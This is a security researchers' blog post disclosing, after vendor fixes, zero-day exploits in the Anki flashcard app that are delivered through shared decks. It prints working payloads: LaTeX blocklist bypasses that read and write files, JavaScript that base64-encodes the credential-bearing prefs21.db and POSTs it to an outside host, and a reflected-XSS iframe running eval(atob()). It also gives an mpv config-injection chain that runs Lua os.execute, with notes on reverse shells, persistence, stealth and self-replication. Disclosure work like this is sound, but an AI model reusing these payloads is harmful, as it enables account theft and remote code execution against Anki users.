We hacked Anki - 0 day exploit from studying someone elses flashcards

We hacked Anki - 0 day exploit from studying someone elses flashcards
Photo by eberhard 🖐 grossgasteiger / Unsplash

Anki is the most popular flashcards program in the world. The Android app alone has 10 million downloads, and this is a third party app that someone created and isn't an official Anki application.

Anki is available on Windows, Mac, Web, IOS and more devices. Anki has maybe 50 million users, just guessing.

Two of Anki's most powerful features are:

  • Shared decks - Study flashcards someone else made
  • Addons - Enhance your learning

Many people know addons can be malicious. Addons in Anki are Python files that run.

But, many people also think importing shared decks is safe. Here's an Anki contributor (who also works on Chrome) saying that they don't think there is any harm in importing shared decks:

In fact, people have so much trust in Anki decks that some even put their social security number into it:

And some even manager their entire diaries in Anki!

One Reddit user was even downvoted into oblivion for stating that Anki would be a good target to hack:

Well, you can see where this is going.

We have found multiple exploits in Anki from importing shared decks.

These range from mundane things (getting system information) up to full remote code execution and reverse shells.

And all you have to do is study some flashcards from a deck a friend sent you, or that you downloaded from Ankiweb.

Who are we?

For those interested there are 2 main people here:

  • Jay is an 18 year old student looking for a career opportunity, He has previously hacked chess.com (Rook to XSS) and has worked on open source security tools since he was 14.
  • Autumn (Known online as Bee, in person as Autumn™) is a security engineer at Duo security. She's the creator of Rustscan and Ciphey, and is one of the first employees of TryHackMe. She's also the one writing this ;)

Our team worked quite well. Jay had a lot of free time to inivestgate many avenues, and Autumn had a lot of experience to understand what to look at.

Note from Bee: Please offer Jay a degree apprenticeship or job. You will not find many 17 year olds actively writing security software and doing bug bounties. You can email them at me@skii.dev

We are both active in the BeeSec Discord server if you want to ask questions.

We'll start with the least serious exploit, and then make our way up the ladder.

Other links

  • Looking for a more serious, more technical timeline and breakdown of this? Read Jayy's blog:
Studying 0days: How we hacked the world’s most popular flashcard app
It took us 10 days to go from “We think this might be vulnerable” to full-blown remote code execution, including the 7 days we were both on holiday. As a student, I’ve searched far and wide for the best study method. Pomodoro, interlapping, and active recalls. The Feynman Technique. But

If you want this in video format, I have a YouTube video:

Note: This is just a quick overview!

🌚LaTeX Exploit - Arbitrary file read & Some Write

Anki uses LaTeX in cards to enable you to make cool and scientific flashcards.

Example of an Anki LaTeX card.

LaTex is interesting because it's sorta a programming language, and people have made some very fun things with it.

😈Malicious LaTeX commands

The first thing we looked at were PayloadAllTheThing's LaTeX, which is a list of a bunch of possible exploits.

PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

None of these really worked for us. We couldn't get a reverse shell with just LaTeX.

And reading the code, it appears Anki bans some naughty LaTeX commands.

We noticed the Regex used is:

f"\\{bad}[^a-zA-Z]"

Like any good hackers, we tried to get around this.

Note: Anki bans all these commands directly, but then says "if you need to use them you can import the system package".

The Anki documentation for LaTeX says this for Windows:

On Windows, go to Settings in MikTeX’s maintenance window, and make sure "Install missing packages on the fly" is set to "Always", not to "Ask me first". If you continue to have difficulties, one user reported that running Anki as an administrator until all the packages were fetched helped.

So the official advice is "install missing packages", which means "overwrite the banned LaTex commands list". And if that doesn't work, run as administrator.

So when we reference a command like \usepackage{external}, it should be installed automatically and thus ignore the banned commands list.

The documentation says if you add a system package and import that package, you can use these banned commands.

But there is a bug which surprisingly makes Anki more secure, because the regular expression blocklist will still run. So you'll need to either rename the function or find a similar function.

⚠️
We do not suggest running Anki as an administator, and we do not suggest installing missing packages on the fly. This would make these exploits both easier to perform and have a much worse impact on you.

This isn't very fun for us if the behaviour the app suggests is "do these things which allow attackers to run arbitrary commands on your computer", so we went back to trying to break the regex.

A common thing you can do is replace characters with their hex representation and see if that works.

We wanted to run:

\\openout

Which was banned.

So we took the hex charcter for t which is ^^74 and changed it out to \openou^^74. During TeX compilation this becomes \openout.

💡
TeX is the engine which powers LaTeX. Anki creates a .tex file from the LaTeX code, and then gives it to the TeX engine (with the LaTeX macros loaded) which compiles it to a .dvi image.

Here's an example exploit:

\documentclass[12pt]{article}
\special{papersize=3in,5in}
\usepackage[utf8]{inputenc}
\usepackage{amssymb,amsmath}
\pagestyle{empty}
\setlength{\parindent}{0in}
\begin{document}
\newwrite\outfile
\openou^^74\outfile=cmd.tex 
\wri^^74e\outfile{Hello-world} 
\closeout\outfile

This is our first roadblock we've defeated.

We're now able to run malicious LaTeX commands, and Anki has given us a list of commands they do not want us to run! Neat, thank you 🥰

We did not experiment with this for long though, as we could only figure out how to write files in the tmp/anki directory. And we found an easier way to do that.

✍️ LaTeX writing files

Using openout from above we can then use outfile which lets us write to files.

Here's an example:

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

You can only write to the temp anki folder.

🤔
Why can you only write to the temp folder?

On almost all modern TeX distributions (including TeX-Live on Linux and MikTeX on Windows) the texmf.cfg configuration file states that the openout_any variable is p.

This means we can only write to the current working directory and any children of it.

The current working directory is the Anki temp folder, so therefore we can only write to files under /tmp/anki (on Linux).

There's some interesting things you can do here:

Using this you can:

  • Fill up the users disk space.

We can get LaTeX to spam-write files until the users disk space fills up.

  • Create a malicious Anki Package or XML which could be imported another time.

This isn't as cool because we are assuming the user has already imported an Anki deck already.

  • Create files in general

☝️ Remember this. At the time we thought it was pointless to be able to create a file in the temp folder. But later on this was very handy.

🕵️‍♀️LaTeX arbitrary file read

Another unbanned LaTeX command is verbatiminput. This lets us read any file with LaTeX and renders it as an image in the Anki card.

💡
We actually have to import the verbatim package in order to use this command.

Because this package is required for LaTeX, it is guranteed to be installed on all distributions.

We believe the reason it's not in the banned commands is because you have to import it, and it's not neccesarily common knowledge that this is in every distribution.

Here's an example exploit:

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline 
    \text{\fileline}
\repeat
\closein\file

\include{/etc/passwd}
\input{/etc/passwd}

\verbatiminput{/etc/passwd}
🧠
Seasoned LaTeX enjoyers may wonder why we're using verbatiminput and not input.
This is because verbatim is a special environment that allows us to read each character without trying to render or intrepret it as LaTeX.
If we didn't use this input will try to read the text file as LaTeX and fail.

There are some caveats.... This can only read files which the user running Anki already has permission to read.

On Linux, a seperate anki user is made. This user does not have much permissions.

On Windows, this is the Windows user who is running Anki. They likely have permissions to read most files.

Using LaTeX to read files, you can only read plaintext files.

Normally this isn't an issue. If you want to read a .mp3, encode it with base64(sound.mp3) and use that.

Another big problem was that the output is an image.

You can use an OCR program to read from the image, but if it's anything that isn't plaintext the characters won't be encoded correctly. The image will have a bunch of "���" characters in it, which we can't decode without knowing what the unicode codes were.

But, we found no way to encode files in LaTeX.

We decided to move on, as we found something interesting with the verbatiminput command:

🤖 Reading system Info from LaTeX

We can use verbatiminput to run texosquery. This lets us get system information.

This command:

[latex]\verbatiminput{|texosquery-jre8 -o -r -a -l}[/latex]

Tells us:

Not useful on its own, but maybe paired with something down the road it'd be useful.

⚠️
Most installations of LaTeX do not let you run arbitrary commands on the system.

Anki does not enforce what LaTeX version you use, so there are some distributions which will let you perform remote code execution with this as well.

We discovered something else with verbatiminput though:

🗃️ Listing files and folders with LaTeX

Using verbatiminput we can also run kpsewhich which lets us list files or find files.

With this command:

[latex]\verbatiminput{|kpsewhich ~/*}[/latex]

We can get arbitrary file listing.

We can combine this with file read from earlier, so using LaTeX we can:

  • List files
  • Grab plaintext files and put them into images

We got distracted by the next item, so we did not explore this any further.

🙀 LaTeX RCE

Most installations of LaTeX do not let you run arbitrary commands to the system. There are some versions of LaTeX which do, so depending on which one you use you can also just straight up get remote code execution.

This is not fun because it requires a specific TeX distribution to work, but is still worth mentioning here.

CVE-2016-10243 is what happens when the approved list still allows for RCE. If the user has not managed to update their TeX distribution in the last 8 years, we can get RCE from this also.

The main way to run shell commands is via \write18{command}. The problem with this is that you can run commands, just not see the output.

A lesser known way of running shell commands is by the use of a special syntax which represents a file descriptor, this can be actually be used to point to a command to be ran! (Which is what the | syntax is).

This means that we can directly read the output from that command

As well as viewing system information, we can also use \verbatiminput{|"kpsewhich -expand-var=$HOST which allows us to read environment variables.

We got bored of LaTeX and decided to refocus on something else.

🫠 Javascript Exploits

Javascript is a scripting language for the web.

Traditionally it's sandboxed in WebKit in Anki, so it can't really be used for exploits on its own.

But we found it was useful as a swiss army knife to poke other parts of Anki or to make other exploits we found even worse.

👾 Make Requests

You can make external requests to APIs using Javascript in Anki cards.

This is not revoluntary but I had a lot of fun hooking it up to ChatGPT and telling it to rewrite cards ever so slightly wrong to gaslight the user and make them fail their exams, or potentially kill people if they are doctors.

Later on we'll see we can do this to any card, but it's not that interesting.

I just thought it was funny to write an exploit that rather than steals banking information makes the user fail their exams.

📺 Media Collection File Uploads

Anki lets you store things like images, audio etc in the media collection.

An example is the French flag here, stored as an image.

Using Javascript in the Anki card you can send any media from media.collection through a request to a server.

This is because the webserver that Anki runs, and thus the Javascript,m has direct access to the media folder.

The webserver is hosted on port 5082, accessing 127.0.0.1:5082/image.png will grab image.png from the media folder. This is why we can access it with Javascript.

Javascript does not have access to the users local system, just that the web server can access files in the media folder, and we can use Javascript to talk to thr web server.

Here's the exploit:

async function fetchFileAndConvertToBase64(url, maxRetries = 3, retryDelay = 3000) {
    let retries = 0;
  
    const fetchAndConvert = async () => {
      try {
        const response = await fetch(url);
  
        if (response.status === 200) {
          const blob = await response.blob();
          return new Promise((resolve, reject) => {
            const reader = new FileReader();
            reader.onload = () => resolve(reader.result.split(',')[1]); // Remove the data:*/*;base64, prefix
            reader.onerror = reject;
            reader.readAsDataURL(blob);
          });
        } else {
          throw new Error(`HTTP error ${response.status}`);
        }
      } catch (error) {
        retries++;
        if (retries < maxRetries) {
          await new Promise(resolve => setTimeout(resolve, retryDelay));
          return fetchAndConvert();
        } else {
          throw error;
        }
      }
    };
  
    return fetchAndConvert();
  }
  
  async function postBase64ToUrl(url, base64Data) {
    await fetch(url, {
      method: 'POST',
      body: base64Data
    });
  }

const latex_image = document.querySelector("img.latex").getAttribute("src");

fetchFileAndConvertToBase64(`http://${window.location.hostname}:${window.location.port}/${latex_image}`).then(base64Data => postBase64ToUrl(`http://${host}/upload`, base64Data))

Using the arbitrary LaTeX file read earlier, we can:

  1. Upload user files to an image and store that as media in Anki.
  2. Use Javascript to upload this file to a server.

However, there is something even more interesting we found.

media in Anki is anything. You may think it's an audio file or an image. it's not.

Media in Anki can be anything, not just audio or images. This is one of the most important things we found.

We managed to upload the entire prefs21.db database into Media, and then use Javascript to send that to a server.

prefs21.db contains the credentials of your Anki user, so we have pwned your AnkiWeb account too.

Gif of us getting prefs21.db via media

It might also have been possible to run these exploits on Ankiweb and grab the username / passwords of all the users on there. We are not sure, we did not test as we do not want to play the "Bee goes to prison speedrun any%" challenge.

The passwords might be hashed. They are converted to some format. The code is too obtuse to decipher what's happening, and we weren't that interested in this...

Anyway, here is a comment from Dae (the creator of Anki) saying hashing passwords has little value because to get the password you need to "compromise the machine".

Click images to enlarge them

And here is the official, up-to-date Anki documentation that says hashing passwords is for "Advanced Users" and is optional.

I emailed the author with these exploits and I asked expliticly what this PR was doing, because I wasn't 100% sure if the passwords were hashed or not.

I will leave these here without comment 😸

🏃‍♀️ Run pycmd

pycmd is a command used in Javascript to interact with the Python components of Anki.

I had a lot of fun calling the SetEaseFactor command, which makes individual cards harder or easier. You can make all the cards harder than what they are and ruin the users studying.

Other than that, we did not find much and moved on.

🤌 Access Anki Media Internal API

Anki has an internal API it uses to run functions.

We tried to call the internal API from an Anki card, but failed 🐸

Anki has checks to stop you from doing this:

def _extract_page_context() -> PageContext:
    "Get context based on referer header."
    from urllib.parse import parse_qs, urlparse

    referer = urlparse(request.headers.get("Referer", ""))
    if referer.path.startswith("/_anki/pages/"):
        return PageContext.NON_LEGACY_PAGE
    elif referer.path == "/_anki/legacyPageData":
        query_params = parse_qs(referer.query)
        id = int(query_params.get("id", [None])[0])
        return aqt.mw.mediaServer.get_page_context(id)
    else:
        return PageContext.UNKNOWN

When you study the card (the card is 'executed') the path is /_anki/legacyPageData.

Our exploit exists in the card, so if we try to access the API Anki says "Nu-Huh!!!"

Because it knows that legacyPageData can contain user (and malicious) Javascript.

However! We have found a reflected cross-site scripting vulnerability in the Flask server that Anki hosts.

What's even better? It's located at /_anki/pages which does have permission to acccess the API 😱

We can embed an internal-frame located to the Reflected XSS page and have that run the malicious code for us!

Like this:

const iframe = document.createElement('iframe');
iframe.style.display = 'none'; // Hide the iframe
document.body.appendChild(iframe);

iframe.src = `http://${window.location.hostname}:${window.location.port}` + '/_anki/pages/<h1>pwned<img src=x onerror=eval(atob("B64_CODE")) /></h1>'

Now we can call any internal API function we want.

Here is a list of all the actions you can perform:

{
  'congratsInfo': <functioncongrats_infoat0x0000015DE56C5B80>,
  'getDeckConfigsForUpdate': <functionget_deck_configs_for_updateat0x0000015DE56C5D30>,
  'updateDeckConfigs': <functionupdate_deck_configsat0x0000015DE56C5DC0>,
  'getSchedulingStatesWithContext': <functionget_scheduling_states_with_contextat0x0000015DE56C5E50>,
  'setSchedulingStates': <functionset_scheduling_statesat0x0000015DE56C5EE0>,
  'changeNotetype': <functionchange_notetypeat0x0000015DE56CB3A0>,
  'importDone': <functionimport_doneat0x0000015DE56C5F70>,
  'importCsv': <functionimport_csvat0x0000015DE56CB0D0>,
  'importAnkiPackage': <functionimport_anki_packageat0x0000015DE56CB160>,
  'importJsonFile': <functionimport_json_fileat0x0000015DE56CB1F0>,
  'importJsonString': <functionimport_json_stringat0x0000015DE56CB280>,
  'searchInBrowser': <functionsearch_in_browserat0x0000015DE56CB310>,
  'latestProgress': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB550>,
  'getDeckNames': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB5E0>,
  'i18nResources': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB670>,
  'getCsvMetadata': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB700>,
  'getImportAnkiPackagePresets': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB790>,
  'getFieldNames': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB820>,
  'getNote': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB8B0>,
  'getNotetypeNames': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB940>,
  'getChangeNotetypeInfo': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CB9D0>,
  'cardStats': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBA60>,
  'graphs': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBAF0>,
  'getGraphPreferences': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBB80>,
  'setGraphPreferences': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBC10>,
  'completeTag': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBCA0>,
  'getImageForOcclusion': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBD30>,
  'addImageOcclusionNote': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBDC0>,
  'getImageOcclusionNote': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBE50>,
  'updateImageOcclusionNote': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBEE0>,
  'getImageOcclusionFields': <functionraw_backend_request.<locals>.<lambda>at0x0000015DE56CBF70>,
}

Here are some interesting functions we came across:

  • cardStats - works for any card, but we need to know the card ID.
  • getDeckNames - Might be useful if we need to identify a specific deck later on.
  • import_X functions - We could use a previous exploit to create an Anki deck and import it, flooding the users collection.
  • updateDeckConfigs - Allows you to change scheduling information, which you'll see soon allows us to replicate the malicious code across all cards.
  • addImageOcclusionNote - Allows arbitrary file reeader, the most important function here.

We did not explore this any further, as we found a more interesting exploit.

I think you're starting to see that we keep on getting distracted by juicer and easier exploits 🙈

🥸 Javascript exploits - How to do it?

Ok so we have many Javascript exploits.

How do we actually use them?

The most obvious way to is to include them into card templates, like this:

However, you can also sneak it in using custom scheduling in the deck options.

When importing a deck Anki asks if you want to import deck presets:

If you select Yes, you can import a CustomScheduling config which could contain the Javascript so you will not neccerarily see this exploit in the cards.

The user can see the malicious code by going to the deck options and then custom scheduling. As an Anki user of 8 yeas I have never once done this though 😜

The exact process looks like this:

  1. Create a new note type and insert malicious Javascript into the card template.
  2. Create a card with the note type.
  3. Export the deck as an .apkg and give it to the victim via AnkiWeb or over Discord etc.
  4. When the user views the card with the specific note type, they are pwned.

Or if you know the user will inspect the card before studying it:

  1. Create a new card/deck, and insert the malicious JS code into the custom schelduling review
  2. Upload it to AnkiWeb or give it to victim over Discord.
  3. Victim must import deck presets and view any card within the deck.

So the next time someone sends you a random .apkg file, think twice before opening it 😜

📌 Tips on Javascript Exploits

Replication

Because you can edit the scheduling for all decks, you can self-replicate your malicious code to all other cards. This means it's no longer siloed to just the 1 deck the user imported.

You can also use this to import decks, so if you wanted to be sneaky you can:

  1. User imports Anki deck from AnkiWeb
  2. JS code runs that imports another deck
  3. This deck is malicious

Or you could even merge random malicious cards with the users normal deck. They would never know!

Stealth

You can edit the HTML of any card with Javascript, so when the user studies the flashcard you can remove all the weird looking parts so the user never suspects a thing.

This is especially handy for LaTeX, which has to render something in the card for the exploit to work!

And also the Audio icon.

Anki cards which have audio on them have this little play button showing. You can use Javascript to remove that.

You will see why this is important soon... 😉

💯Remote Code Excution in Anki from Shared Decks

Now we're onto the big exploit! 🥳

Imagine this flow:

  1. You import a popular Anki deck from AnkiWeb
  2. You study some flashcards
  3. A hacker has a stealth reverse shell to your system which bypasses anti virus and you won't know unless you obsessively monitor your internet traffic.
  4. From this point they can do anything. Download all your documents, steal your banking information or even delete all the notes you made for university.

Anki plays media files using something called mpv player.

In Windows they use SimpleMpvPlayer that spawns a new process every time it wants to play something.

This sets up an instance of mpv for each file with a bunch of commands:

So the command that will be run looks like:

mpv --no-terminal .... sound.mp3

This uses popen in Python, so it's hard to exploit because it does not have shell=True but instead calls the binary, and then interprets each value given to the popen call as an argument to the command instead of directly feeding it into sh.

You can replace sound.mp3 with another argument like:

mpv --no-terminal .... --script='run.lua'

MPV can run Lua files for config reasons

Problem is that this will not work.

MPV will run this in a thread while it tries to run the audio file.

But, because there's no audio file it will instantly fail.

Anki code for handling MPV failing

Which means --exec is never ran.

😀
Note: When Anki updates its version of MPV, this exploit might become easier.

The latest version of MPV has an argument --input-commands which will run anything you give it, including shell scripts.

Anki uses a version of mpv from 2021, so hopefully they update this soon so we can have a cleaner and easier exploit.

We did find something interesting.

MPV has a command to load a config file:

mpv --include=extra.conf

This lets you store extra arguments etc which will be loaded upon run.

Importantly, MPV will always load this before trying to play anything.

You can make Anki load this config file in MPV by creating an sound tag like before:

[sound:--include=extra.conf]

This will load extra.conf which contains:

script=run.lua
idle=yes

idle=yes tells mpv to wait until everything else is finished before returning. This means it runs the script, and then fails.

And once we can run Lua scripts, we have pwned the system.

Butttt..... this did not work so easily. We can make it work if we have a config file, but how do we include a config file?

💉 Including Config Files

LaTeX

Earlier we talked about using LaTeX to create files. We can make LaTeX create a config file to pwn the system.

  1. Create a new note type and insert the following LaTeX
\documentclass[12pt]{article}
\special{papersize=3in,5in}
\usepackage[utf8]{inputenc}
\usepackage{amssymb,amsmath}
\pagestyle{empty}
\setlength{\parindent}{0in}
\begin{document}
\newwri^^74e\outfile
\openou^^74\outfile=extra.conf
\wri^^74e\outfile{idle=once}
\wri^^74e\outfile{script=../../../../Local/Temp/anki_temp/run.lua}
\closeout\outfile
\newwri^^74e\outfile
\openou^^74\outfile=run.lua
\wri^^74e\outfile{os.execute('calc')}
\closeout\outfile

This runs the Lua script:

os.execute('calc')
🤔
In exploits we normally use calc to show you can run anything, we have tested this with a Lua reverse shell and it works but not as well.

In the Lua code we can edit one of Anki's Python files (__init__.py works well) and spawn the reverse shell there, in the Python.

This has the extra benefit of:
1. Running everytime Anki is loaded
2. More persistent than a card. If the user stopped studying the card, the reverse shell would collapse.
3. Completely hidden (no console window shows).
  1. Create a new card with the card type and put these contents in it:
[latex]1[/latex][sound:--include=../../../../Local/Temp/anki_temp/extra.conf]
💡
We call [latex] first to make it create the file. LaTeX can only write files to the temp Anki directory.

Then we call [sound:--include=../../../../Local/Temp/anki_temp/extra.conf] which tells MPV to load the configuration file, and our exploit runs! 🥳

We start in the media folder and we need to do some clever directory traversal to get to the temp folder.

The reason we use ../../ and not %TEMP is because we do not know the username of the Windows user, which is sadly a requirement on Windows to access the temp folder 😔

Thankfully this folder does not change locations, but if it did we could use one of our other exploits to find the config file to call.

Ok, this is nice but it's a bit... horrible. Create a file with LaTeX and then call it... So much to do!

Thankfully, we don't need to do that at all.

Config Files without LaTeX

This exploit relies on 1 fact, if you recall from earlier:

Any file can be added to Anki under media

So we put our extra.conf into the Anki media folder and we point the [sound] at the file in the media.

When a user imports an Anki deck, they must also import the media that comes with it.

This exploit works smoothly and does not rely on any other exploits 🥳

👽
This RCE exploit only works on Windows, but at least you can remote shell into the Windows user which has way more permissions than the anki Linux user!

This is because on Linux named sockets are a lot easier to work with, so Anki just utilised MPV's JSON IPC command control to work with one single instance of MPV instead of spawning a new MPV process per media item like on Windows.

And if you run Anki as an admin (like some suggestions in the documentation say), we will have full admin remote code execution from just importing some cards.

🙋‍♀️Conclusion

For so many years I have seen "Anki shared decks cannot contain viruses"

"Chances of a virus making it into an Anki release are very slim" - Yes, what about shared decks though? 😜

It feels good to have concrete proof that you shouldn't download random Anki decks from the internet and run them.

🫰
A good rule of thumb I use: Let everyone else try it for a month, if they are not complaining about being hacked I will use it.

We are semi confident that other hacks exist within Anki from shared decks.

Anki does not have a paid for bug bounty programme, so we are not motivated to find them. Also between you and me, the codebase is not nice to work with.

Anki is (or was) famously hard to build, so almost all Anki distributions are out of date.

Is Anki too hard to build? (Or, make life easier for packagers.) · Issue #1378 · ankitects/anki
Our package maintainer decided to drop anki (having been stuck at 2.1.35 for months) from the official Arch Linux repos to the AUR, with the reasoning: Dropping since they completely redid the buil…

And even when your operating system can update Anki, many users do not because addons will break. I am guilty of using an older version of Anki just because it works and I know my addons do not break.

This means these we expect these exploits to exist in the wild for a good few years 😞

If you are an Anki user, please update!

If you want to try and find some other exploits in Anki, I would read through this blog post carefully again and then try and mess around with the source code. We came across many interesting things that could be used to exploit Anki. But, insetad of exploring every avenue we just went the path of least resistance to prove it can be done via shared cards.

It took us 10 days to go from "are shared decks really that secure?" to "Oh look! We have a remote shell with higher than normal privleges", and all the exploits you see here are from those 10 days.

TL;DR

  1. You can get hacked by importing Anki shared decks.
  2. These hacks range from getting system information up to full remote code execution via a reverse shell.
  3. Do not trust shared decks so easily. Wait for others to try them and look into them before using them.
  4. People rarely update Anki so these exploits will likely exist for a while. If you are reading this, go and update!
  5. We are very confident other bugs exist in Anki that can be exploited. Do the right thing and find them before others do.
  6. Jayy is still looking for a job, you can email them at me@skii.dev.
Sayonara!

Aftermath

We reported these vulns to Talos on 09/04/2024. They reported these to Dae in the last week of May.

Dae and another contributor fixed these that same week, and confirmed on 07/06/2024 that they were fixed.

Let's take a look at the fixes...

RCE

The fix for RCE is simple.

Anki uses POSIX convention -- which means "everything after this is given to the command". It signifies "this is the end of the command line arguments".

This works, and is a surprisingly simple fix.

Latex

Anki has given up and completly removed the blocklist

BUT! They have made it optional to generate LaTeX. So if you get a shared deck with LaTeX, you the user have the option of running it or not.

Reflected XSS

Anki made 2 changes to fix this.

First, they made Flask return the content as text/plain.

Then they updated the codebase to have an error message return a text/plain response.

Neat little fixes.

Final conclusion

THE ONE PIECE IS REEEALLLL

Go forth my pirates and hackers! Find more bugs in Anki and make this the BEST flashcard software EVER!!!!!